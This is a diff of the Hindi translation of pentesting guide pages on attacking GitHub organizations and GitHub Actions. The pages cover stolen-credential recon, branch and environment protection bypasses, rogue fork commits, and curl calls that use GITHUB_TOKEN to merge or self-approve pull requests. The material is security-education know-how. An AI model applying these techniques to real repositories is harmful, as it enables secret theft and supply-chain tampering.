संबंधित हैं।** +- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं, लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।** ### Actions Settings कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ `https://github.com/organizations//settings/actions` से कॉन्फ़िगर किया जा सकता है। > [!NOTE] -> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं +> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं। -- **Github actions policies**: यह आपको यह संकेत देने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें। +- **Github actions policies**: यह आपको यह संकेत करने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें। - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **Fork pull request workflows from outside collaborators**: अनुशंसित है कि **सभी** बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो। - _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_ @@ -100,29 +100,29 @@ accessible-deleted-data-in-github.md _यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!_ -- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)। -- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)। +- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा करने के बाद)। +- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा करने के बाद)। ## Recon & Attacks abusing credentials -इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है। +इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त की है। ### With User Credentials -यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देख सकते हैं कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।** +यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देखें कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।** -ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें**। +ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें।** > [!NOTE] -> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं**। +> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं।** यदि यह उपयोगी हो तो [**branch protections bypasses**](./#branch-protection-bypass) के बारे में नीचे दिए गए अनुभाग की जांच करें। ### With User SSH Key -Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)। +Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड को तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)। -इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है: +इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि आप उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त कर सकें जिन तक आपकी पहुँच है: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -142,33 +142,33 @@ gpg --list-secret-keys --keyid-format=long ``` ### With User Token -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#personal-access-tokens)। -एक उपयोगकर्ता टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या [**API पर बेसिक ऑथेंटिकेशन के माध्यम से प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं। +एक यूजर टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या इसे [**बेसिक ऑथेंटिकेशन के माध्यम से API के लिए प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं। -एक उपयोगकर्ता टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +एक यूजर टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` ### With Oauth Application -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +[**Github Oauth एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#oauth-applications)। एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए। +ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप्स](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप्स की जांच करनी चाहिए। -इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। +इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। ### With Github Application -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +[**Github एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#github-applications)। एक हमलावर एक **दुष्ट Github एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। +इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। ## Compromise & Abuse Github Action -There are several techniques to compromise and abuse a Github Action, check them here: +Github Action को समझौता करने और दुरुपयोग करने के लिए कई तकनीकें हैं, उन्हें यहाँ देखें: {{#ref}} abusing-github-actions/ @@ -176,25 +176,25 @@ abusing-github-actions/ ## Branch Protection Bypass -- **Require a number of approvals**: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को स्वीकृत** कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं। -- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को स्वीकृत नहीं कर सकेगा, लेकिन यदि आप ऐसा कर रहे हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_ -- **Dismiss approvals when new commits are pushed**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुष्ट कोड डाल सकते हैं और इसे संरक्षित शाखा में मर्ज कर सकते हैं। -- **Require reviews from Code Owners**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं स्वीकृत करें**। -- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, तो Github शिकायत नहीं करता है लेकिन इसका उपयोग नहीं करता है। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो इसका **कोड मालिकों का संरक्षण लागू नहीं होता है।** -- **Allow specified actors to bypass pull request requirements**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं। -- **Include administrators**: यदि यह सेट नहीं है और आप रेपो के प्रशासक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं। -- **PR Hijacking**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मर्ज कर सकते हैं। -- **Removing Branch Protections**: यदि आप रेपो के **प्रशासक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं। -- **Bypassing push protections**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में पुश (कोड मर्ज) करने की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)। -- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड पुश करने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा है, तो आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करती है**, इस शाखा में पहले कोड पुश से **github action निष्पादित होगा**। +- **अनुमोदनों की संख्या की आवश्यकता**: यदि आपने कई खातों का समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को अनुमोदित** कर सकते हैं और इस तरह 1 अनुमोदन प्राप्त कर सकते हैं। +- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को अनुमोदित नहीं कर सकेगा, लेकिन यदि आप कर सकते हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_ +- **नए कमिट्स के धकेलने पर अनुमोदनों को अस्वीकार करें**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, जब तक कोई इसे अनुमोदित नहीं करता, और फिर दुष्ट कोड डालकर इसे सुरक्षित शाखा में मर्ज कर सकते हैं। +- **कोड मालिकों से समीक्षाओं की आवश्यकता**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं अनुमोदित करें**। +- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, Github शिकायत नहीं करता लेकिन इसका उपयोग नहीं करता। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो **कोड मालिकों की सुरक्षा लागू नहीं होती।** +- **निर्धारित अभिनेताओं को पुल अनुरोध आवश्यकताओं को बायपास करने की अनुमति दें**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं। +- **व्यवस्थापकों को शामिल करें**: यदि यह सेट नहीं है और आप रेपो के व्यवस्थापक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं। +- **PR हाईजैकिंग**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़कर, परिणामस्वरूप PR को स्वयं अनुमोदित करके और सब कुछ मर्ज करके। +- **शाखा सुरक्षा को हटाना**: यदि आप **रेपो के व्यवस्थापक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं। +- **धकेलने की सुरक्षा को बायपास करना**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में धकेलने (कोड मर्ज करने) की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)। +- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड धकेलने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा के कारण, आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड धकेलने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करेगी**, इस शाखा पर पहले कोड धकेलने से **github action निष्पादित होगा**। ## Bypass Environments Protections -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +[**Github Environment के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#git-environments)। -यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड पुश कर सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)। +यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड धकेल सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)। -ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड पुश कर सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और उस पर पुश ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में पुश की अनुमति देती है इसलिए github action ट्रिगर होगा**। +ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड धकेल सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और इसके ऊपर धकेलने के ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में धकेलने की अनुमति देती है इसलिए github action ट्रिगर होगा**। ```yaml push: # Run it when a push is made to a branch branches: @@ -208,7 +208,7 @@ branches: - **रहस्यों** से **गिटहब टोकन** चुराएं - कार्यप्रवाह **परिणामों** और **शाखाओं** का **हटाना** - सभी संगठन को **अधिक अनुमतियाँ** दें -- जानकारी को निकालने के लिए **वेबहुक** बनाएं +- जानकारी को बाहर निकालने के लिए **वेबहुक** बनाएं - **बाहरी सहयोगियों** को आमंत्रित करें - **SIEM** द्वारा उपयोग किए गए **वेबहुक** को **हटाएं** - **बैकडोर** के साथ **गिटहब क्रिया** बनाएं/संशोधित करें @@ -216,7 +216,7 @@ branches: ### धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर -गिटहब में यह संभव है कि **एक फोर्क से एक रेपो के लिए PR बनाया जाए**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**। +गिटहब में **एक फोर्क से एक रेपो के लिए PR बनाना संभव है**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**। जैसे [**यह**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index ecb8e27e0..57efdb67f 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,30 +1,30 @@ -# Abusing Github Actions +# Github Actions का दुरुपयोग {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी इस पृष्ठ पर आपको मिलेगा: -- एक **सारांश सभी प्रभावों का** जब एक हमलावर Github Action तक पहुँचने में सफल होता है -- **एक्शन** तक पहुँचने के विभिन्न तरीके: +- एक **सारांश सभी प्रभावों** का जब एक हमलावर Github Action तक पहुँचने में सफल होता है +- **एक्शन तक पहुँचने के विभिन्न तरीके**: - एक्शन बनाने के लिए **अनुमतियाँ** होना -- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना -- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना -- पहले से समझौता किए गए रेपो से **पिवटिंग** करना -- अंत में, एक अनुभाग **भीतर से एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (उपरोक्त प्रभावों का कारण बनना) +- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग +- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग +- पहले से समझौता किए गए रिपॉजिटरी से **पिवोटिंग** +- अंत में, एक अनुभाग **एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (क्योंकि उल्लेखित प्रभाव) -## Impacts Summary +## प्रभावों का सारांश -[**Github Actions के बारे में मूल जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय। +[**Github Actions के बारे में बुनियादी जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय। -यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं: +यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रिपॉजिटरी** के भीतर, तो आप सक्षम हो सकते हैं: -- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना** ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें। +- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग** करके बाहरी प्लेटफार्मों, जैसे AWS और GCP, तक अनधिकृत पहुँच प्राप्त करना। - **डिप्लॉयमेंट्स और अन्य** **कलाकृतियों** का समझौता करना। -- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमले की अनुमति मिलती है। -- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके। -- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**। +- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमला सक्षम हो सकता है। +- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवोट किया जा सके। +- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रिपॉजिटरी कोड को ओवरराइट करना**। ## GITHUB_TOKEN @@ -35,7 +35,7 @@ यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपो तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके। +> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **GitHub के भीतर क्रॉस-रिपॉजिटरी** पहुँच की अनुमति देता है, ताकि एक रिपॉजिटरी अन्य आंतरिक रिपॉजिटरी तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके। आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) @@ -56,7 +56,7 @@ https://api.github.com/repos///pulls//merge \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} -{{#tab name="PR को मंजूरी दें" }} +{{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ @@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं। +> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक अधिकार दे सकते हैं।
@@ -141,13 +141,13 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ## अनुमत निष्पादन > [!NOTE] -> यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं। +> यह Github क्रियाओं को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं। > > यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं। ### रिपॉजिटरी निर्माण से निष्पादन -यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github actions निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**। +यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github क्रियाएँ निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**। ### नए शाखा से निष्पादन @@ -174,34 +174,34 @@ branches: ### `pull_request` -कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी: +कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **चलाने** को **स्वीकृत** करने की आवश्यकता होगी:
